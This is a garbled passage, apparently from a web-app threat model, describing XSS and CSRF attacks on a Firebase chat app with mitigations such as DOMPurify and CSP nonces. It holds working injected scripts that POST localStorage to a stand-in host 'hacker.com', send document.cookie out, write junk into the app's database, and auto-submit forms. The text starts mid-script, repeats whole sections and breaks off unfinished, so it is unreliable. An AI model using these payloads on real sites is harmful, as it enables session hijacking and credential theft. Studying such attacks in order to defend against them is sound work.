<script>
function stealCredentials() {
// Send user's data to attacker's server
fetch('https://hacker.com/steal', {
method: 'POST',
body: JSON.stringify(localStorage)
});
// Write malicious data to your Firebase
firebase.database().ref('messages').push({
text: "More malicious content",
user: "Hacker"
});
}
</script>
fetch('/api/steal-cookies', {
method: 'POST',
body: document.cookie
});
</script>```
2. Executes for all users viewing the post
**Impact**: Session hijacking within user conversations
**Mitigation**: Implement DOMPurify and CSP nonces
---
### 4. **CSRF Account Takeover**
**Attack**:
1. User visits attacker's site containing:
```html
<script>document.forms[0].submit()</script>
<script>
fetch('/api/steal-cookies', {
method: 'POST',
body: document.cookie
});
</script>```
2. Executes for all users viewing the post
**Impact**: Session hijacking within user conversations
**Mitigation**: Implement DOMPurify and CSP nonces
---
### 4. **CSRF Account Takeover**
**Attack**:
1. User visits attacker's site containing:
```html
<script>document.forms[0].submit()</script>